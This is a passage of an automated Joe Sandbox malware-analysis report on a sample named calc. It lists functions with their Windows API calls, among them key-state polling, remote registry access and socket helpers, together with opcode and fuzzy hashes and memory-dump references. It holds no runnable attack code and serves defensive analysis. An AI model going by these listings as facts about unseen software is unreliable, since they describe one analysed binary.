    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend
    • String ID: Msctls_Progress32
    • API String ID: 3850602802-3636473452
    • Opcode ID: 937d72351a3cffb958232a75d02b7208b3851732dd46308458e1c1bc3b089544
    • Instruction ID: 52bfa3c8ca57206c5aefe15543c0d5c9767dcfa2ca37888765e00b3bca3ed78b
    • Opcode Fuzzy Hash: 937d72351a3cffb958232a75d02b7208b3851732dd46308458e1c1bc3b089544
    • Instruction Fuzzy Hash: C6114CB150020DBFEF119F51CC85EDA7F69EB083A8F11416AFA18361E1C7769C61DB98
    Function 00414469 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 52windowCOMMON
    Download Yara Rule
    APIs
    • GetModuleHandleW.KERNEL32(00000000,00000000,?,00000100,?,0045C6D0), ref: 0041448D
    • LoadStringW.USER32(00000000), ref: 00414496
    • GetModuleHandleW.KERNEL32(00000000,00000000,?,00000100), ref: 004144A5
    • LoadStringW.USER32(00000000), ref: 004144A8
    • MessageBoxW.USER32(0047BD30,?,?,00011010), ref: 004144EF
    Strings
    • %s (%d) : ==> %s: %s %s, xrefs: 004144CA
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: HandleLoadModuleString$Message
    • String ID: %s (%d) : ==> %s: %s %s
    • API String ID: 4072794657-3128320259
    • Opcode ID: 03e62e4c2e52b1cd091c8559f5e88ecf3355c8990eab41007b3b5120228d8c5d
    • Instruction ID: f482db0144711750f8ad3975750deea825f68ac064d00ccfce29163d0917d0ef
    • Opcode Fuzzy Hash: 03e62e4c2e52b1cd091c8559f5e88ecf3355c8990eab41007b3b5120228d8c5d
    • Instruction Fuzzy Hash: C8017CF690021DBBEB11AB94DD45FEB77ACEB48345F0040A2BB04E6081D6749E898BB4
    Function 00412305 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51fileCOMMON
    Download Yara Rule
    APIs
    • CloseHandle.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 00412333
    • UnmapViewOfFile.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 0041234B
    • CloseHandle.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 00412354
    • FreeLibrary.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 0041236E
    • FreeLibrary.KERNEL32(?,?,?,00000000,00402A3C,?,00000406,00000000,00000000), ref: 00412377
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseFreeHandleLibrary$FileUnmapView
    • String ID: Wu
    • API String ID: 1520591543-4083010176
    • Opcode ID: ee261d1f32630aecec2c7b1bcd55743022462c26821aa0ceee38b670e699d694
    • Instruction ID: 5533a16e1b451d4dcc0f1a1567ab867aa15705d93646e9a3881281f64c75d125
    • Opcode Fuzzy Hash: ee261d1f32630aecec2c7b1bcd55743022462c26821aa0ceee38b670e699d694
    • Instruction Fuzzy Hash: 3A01B131600A19BFDE209F74DD44B96B7A8FF00701B14052AFD64E3250D7A8ECA18AA8
    Function 0044C2B2 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37threadCOMMONLIBRARYCODE
    Download Yara Rule
    APIs
    • GetLastError.KERNEL32(?,00000000,0044D91A,0044C69D,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C,00449AC3), ref: 0044C2B4
    • FlsGetValue.KERNEL32(?,00449A5F,00000004,0045B068,0000000C,00449AC3,000000E0,0044917B,?,00000001,00416BF3,00000010,?,004013F3), ref: 0044C2C2
    • FlsSetValue.KERNEL32(00000000,?,00449A5F,00000004,0045B068,0000000C,00449AC3,000000E0,0044917B,?,00000001,00416BF3,00000010,?,004013F3), ref: 0044C2E9
    • GetCurrentThreadId.KERNEL32 ref: 0044C301
    • SetLastError.KERNEL32(00000000,?,00449A5F,00000004,0045B068,0000000C,00449AC3,000000E0,0044917B,?,00000001,00416BF3,00000010,?,004013F3), ref: 0044C318
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorLastValue$CurrentThread
    • String ID: XF
    • API String ID: 526964173-166504293
    • Opcode ID: 0ce2ca5618a0c732420479d5d70867055caadec78b94139af839bb20ca1d17f1
    • Instruction ID: 1e9ca1f56f664176735d32dad2d1092eb4a2f929a253f0e119f46fcfb7a96736
    • Opcode Fuzzy Hash: 0ce2ca5618a0c732420479d5d70867055caadec78b94139af839bb20ca1d17f1
    • Instruction Fuzzy Hash: FDF0FC31503712DFE3302F61AD4D6563BA4EB00766F044529F986962A2DFB4CC008B99
    Function 0040D03A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Line$Move
    • String ID: s
    • API String ID: 3367123170-453955339
    • Opcode ID: 0106cda48ff9bbf4bdcf28e82eb6819dc74d54902d14879b2f11568f3fb45efe
    • Instruction ID: b97fa02212309c47107a525ebd6b8e18c6dd5977cae12453f45f519e06501ec8
    • Opcode Fuzzy Hash: 0106cda48ff9bbf4bdcf28e82eb6819dc74d54902d14879b2f11568f3fb45efe
    • Instruction Fuzzy Hash: DCF09B3640011CBBCF126FA1DC44EEF3F3AEB4AAA1F008419FA1855060C7369521FBA2
    Function 0043C7EA Relevance: 9.2, APIs: 6, Instructions: 219fileCOMMON
    Download Yara Rule
    APIs
    • GetLastError.KERNEL32(00000000,00000000), ref: 0043C865
    • GetStdHandle.KERNEL32(000000F6,0045C6D0), ref: 0043C8C2
    • GetLastError.KERNEL32(00000000,00000000), ref: 0043C91E
    • GetExitCodeProcess.KERNEL32(?,?), ref: 0043C959
    • GetLastError.KERNEL32(00000000,00000000), ref: 0043C98E
      • Part of subcall function 00417DBC: CloseHandle.KERNEL32 ref: 00417DD8
      • Part of subcall function 00417DBC: CloseHandle.KERNEL32(?), ref: 00417DE6
      • Part of subcall function 00417DBC: CloseHandle.KERNEL32(?), ref: 00417DF4
      • Part of subcall function 00417DBC: CloseHandle.KERNEL32(?), ref: 00417E06
    • ReadFile.KERNEL32(00000000,?,000000FF,?,00000000), ref: 0043CA20
      • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Handle$Close$ErrorLast$ByteCharMultiWide$CodeExitFileProcessRead_strlen
    • String ID:
    • API String ID: 2518333764-0
    • Opcode ID: 88f7d1675431d1459f956e2285081511a60b043ee5b892d9ad6f6faf2ebf65cd
    • Instruction ID: 08a36f61e83a8decadca1c664de08f1ee49e3bfe3589df4b7dfc1e86d7019bb4
    • Opcode Fuzzy Hash: 88f7d1675431d1459f956e2285081511a60b043ee5b892d9ad6f6faf2ebf65cd
    • Instruction Fuzzy Hash: 4C81D371900259EFCF10EF65C8819EE7BB4AF08324F14566BF461B7291D7389E81CB59
    Function 0042F7A7 Relevance: 9.2, APIs: 6, Instructions: 198networkCOMMON
    Download Yara Rule
    APIs
    • inet_ntoa.WS2_32(?), ref: 0042F8FC
    • htons.WS2_32(?), ref: 0042F937
    • _strlen.LIBCMT ref: 0042F97A
      • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
      • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiWide_strlen$htonsinet_ntoa
    • String ID:
    • API String ID: 1318844614-0
    • Opcode ID: cd67db129efb8f5173a493d414af0b0d9195f8c984bf61e2210114829332a795
    • Instruction ID: c535e4b204a39ed9355a5e9411ff9199073cd6162e92b6e8affce4dc956cf509
    • Opcode Fuzzy Hash: cd67db129efb8f5173a493d414af0b0d9195f8c984bf61e2210114829332a795
    • Instruction Fuzzy Hash: FB61B331500124ABDB10EFA5D8819DFB7B8EF45324BA4417BF814EB281DB38DD85CBA9
    Function 004236D5 Relevance: 9.2, APIs: 6, Instructions: 188COMMON
    Download Yara Rule
    APIs
    • CoInitialize.OLE32(00000000), ref: 00423707
    • SHGetMalloc.SHELL32(?), ref: 00423714
    • SHGetDesktopFolder.SHELL32(?), ref: 00423799
    • SHBrowseForFolderW.SHELL32(?), ref: 00423877
    • SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0042389A
    • CoUninitialize.COMBASE ref: 004238E6
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Folder$BrowseDesktopFromInitializeListMallocPathUninitialize
    • String ID:
    • API String ID: 2328888689-0
    • Opcode ID: d1ca2607ed1fee0febd1e43b0f0d0ab9219c78b5fda21bd8a20f00a2eaf17138
    • Instruction ID: 9dfa527d82a11722d366a7158b9d2072c516f7a9572ea281cdfb609d7d1dcd87
    • Opcode Fuzzy Hash: d1ca2607ed1fee0febd1e43b0f0d0ab9219c78b5fda21bd8a20f00a2eaf17138
    • Instruction Fuzzy Hash: DF718EB5900219EFDB00EF95D8848CEB7B8FF48315B5481ABE505A7211DB38EE85CF98
    Function 00454706 Relevance: 9.2, APIs: 6, Instructions: 168COMMON
    Download Yara Rule
    APIs
    • GetStringTypeW.KERNEL32(00000001,00462758,00000001,?,0045C350,00000024,00000003), ref: 0045472A
    • GetLastError.KERNEL32 ref: 0045473C
    • GetStringTypeW.KERNEL32(?,?,?,?,0045C350,00000024,00000003), ref: 00454766
    • WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000,0045C350,00000024,00000003), ref: 004547BE
    • WideCharToMultiByte.KERNEL32(?,00000000,?,?,?,00000000,00000000,00000000), ref: 00454841
    • GetStringTypeA.KERNEL32(?,?,?,00000000,?), ref: 004548D3
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: StringType$ByteCharMultiWide$ErrorLast
    • String ID:
    • API String ID: 319667368-0
    • Opcode ID: d774335a5eb60515b520e5980ea5d1f4076856655fab326af866a11a2a422f9e
    • Instruction ID: 1c1d1a3cfd943f37dbf2ab9dcfc78d84780ba350647b4ec12e8bbc28cf15e5f7
    • Opcode Fuzzy Hash: d774335a5eb60515b520e5980ea5d1f4076856655fab326af866a11a2a422f9e
    • Instruction Fuzzy Hash: BF51A071800219EBDF219FA4DC458EF7BB4FF4975AB20412BF810A6262D3388D95DB98
    Function 0043C5A3 Relevance: 9.2, APIs: 6, Instructions: 162registryCOMMON
    Download Yara Rule
    APIs
    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0043C64B
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0043C690
    • RegCloseKey.ADVAPI32(?,00000000,00000000,00000000), ref: 0043C6C1
    • RegEnumValueW.ADVAPI32(00000001,-00000001,?,?,00000000,?,00000000,00000000), ref: 0043C6FC
    • RegCloseKey.ADVAPI32(00000001,00000000,?), ref: 0043C747
    • RegCloseKey.ADVAPI32(?), ref: 0043C751
      • Part of subcall function 0041FE6D: GetLastError.KERNEL32(00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE82
      • Part of subcall function 0041FE6D: FormatMessageW.KERNEL32(00001000,00000000,0047C7A0,00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE96
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Close$ConnectEnumErrorFormatLastMessageOpenRegistryValue
    • String ID:
    • API String ID: 773758466-0
    • Opcode ID: 312f3701fa08e1827a6c08e8f0d42657b7c62d5f7c573daf30e8066dccf5342e
    • Instruction ID: 20792c3d7f812a32157260c25cbcf3585e4f6a1056021a8675d112e4a3857f4a
    • Opcode Fuzzy Hash: 312f3701fa08e1827a6c08e8f0d42657b7c62d5f7c573daf30e8066dccf5342e
    • Instruction Fuzzy Hash: 43513D72900109FBCB14EFE1D8868EE7779EF08314F14546BF501B7162DB38AE859B99
    Function 00453BD4 Relevance: 9.1, APIs: 6, Instructions: 145COMMON
    Download Yara Rule
    APIs
    • GetStringTypeW.KERNEL32(00000001,00462758,00000001,?,0045C138,0000001C,0044EC56,00000001,?,00000001,?,?,?,00000001,?,?), ref: 00453BF8
    • GetLastError.KERNEL32(?,?,?,?,?,?,?,00000001,00000000,00455939,?), ref: 00453C0A
    • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0045C138,0000001C,0044EC56,00000001,?,00000001,?,?,?,00000001), ref: 00453C6C
    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 00453CEA
    • GetStringTypeW.KERNEL32(?,?,00000000,?), ref: 00453CFC
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiStringTypeWide$ErrorLast
    • String ID:
    • API String ID: 3581945363-0
    • Opcode ID: 4d8542683018f8ca4e023a399e4c5a5b297452bf1156c7379abd3ce24217161e
    • Instruction ID: 7b0bde08bb801c7efdf3f712f7aa1e62be76f32fac42d5e414aed62eba30da79
    • Opcode Fuzzy Hash: 4d8542683018f8ca4e023a399e4c5a5b297452bf1156c7379abd3ce24217161e
    • Instruction Fuzzy Hash: D641F531800215EBDF229F50DC49AAF3BB5EF08793F14011AFD10A6252D738CE59DBA9
    Function 00405E8E Relevance: 9.1, APIs: 6, Instructions: 121keyboardCOMMON
    Download Yara Rule
    APIs
    • GetCursorPos.USER32(?), ref: 00405E9B
    • ScreenToClient.USER32(?,?), ref: 00405EB8
    • GetAsyncKeyState.USER32(00000001), ref: 00405EFB
    • GetKeyState.USER32(00000001), ref: 00405F09
    • GetAsyncKeyState.USER32(00000002), ref: 00405F23
    • GetKeyState.USER32(00000002), ref: 00405F2C
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: State$Async$ClientCursorScreen
    • String ID:
    • API String ID: 1890669589-0
    • Opcode ID: 301c061da2982d33ea52afccf9ac44063f1c88073db3f05418d096a3cc27a1ec
    • Instruction ID: a365285c24f84e057ec1b9af2304b33fffce20543d84946f93603c3a6ce3a238
    • Opcode Fuzzy Hash: 301c061da2982d33ea52afccf9ac44063f1c88073db3f05418d096a3cc27a1ec
    • Instruction Fuzzy Hash: 1E41AB71404A05EBCF208FA4C844BEFBBB4FF54325F20852AE565762D1C339A980CF19
    Function 00440AA4 Relevance: 9.1, APIs: 6, Instructions: 118windowCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 0043F161: IsWindow.USER32(00000000), ref: 0043F18E
    • GetMenu.USER32(?), ref: 00440AE7
    • GetMenuItemCount.USER32(?), ref: 00440B09
    • GetMenuStringW.USER32(?,00000000,?,00007FFF,00000400), ref: 00440B35
    • GetMenuItemID.USER32(?,00000000), ref: 00440B9A
    • GetSubMenu.USER32(?,00000000), ref: 00440BA5
    • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00440BDC
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Menu$Item$CountMessagePostStringWindow
    • String ID:
    • API String ID: 3481743490-0
    • Opcode ID: c5eb56268e673ec37d2787644ad4e8aa42fcdcd23d0f9ea16b643641fee1fbd1
    • Instruction ID: 7c069f666623686826f3ddcb0e2fe3ddab47299d4bb218ac2af1fa814190d89b
    • Opcode Fuzzy Hash: c5eb56268e673ec37d2787644ad4e8aa42fcdcd23d0f9ea16b643641fee1fbd1
    • Instruction Fuzzy Hash: 97419471A00218AFEB11AFA5DC45B9E77B8EF04318F10406BF615B7251D778AE518B9C
    Function 0040B6AE Relevance: 9.1, APIs: 6, Instructions: 93windowCOMMON
    Download Yara Rule
    APIs
    • ShowWindow.USER32(00000003,00000000), ref: 0040B705
    • EnableWindow.USER32(00000000,00000000), ref: 0040B719
    • ShowWindow.USER32(00000003,00000000), ref: 0040B766
    • ShowWindow.USER32(00000000,00000004), ref: 0040B76E
    • EnableWindow.USER32(00000000,00000001), ref: 0040B782
    • SendMessageW.USER32(?,0000130C,?,00000000), ref: 0040B7A6
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
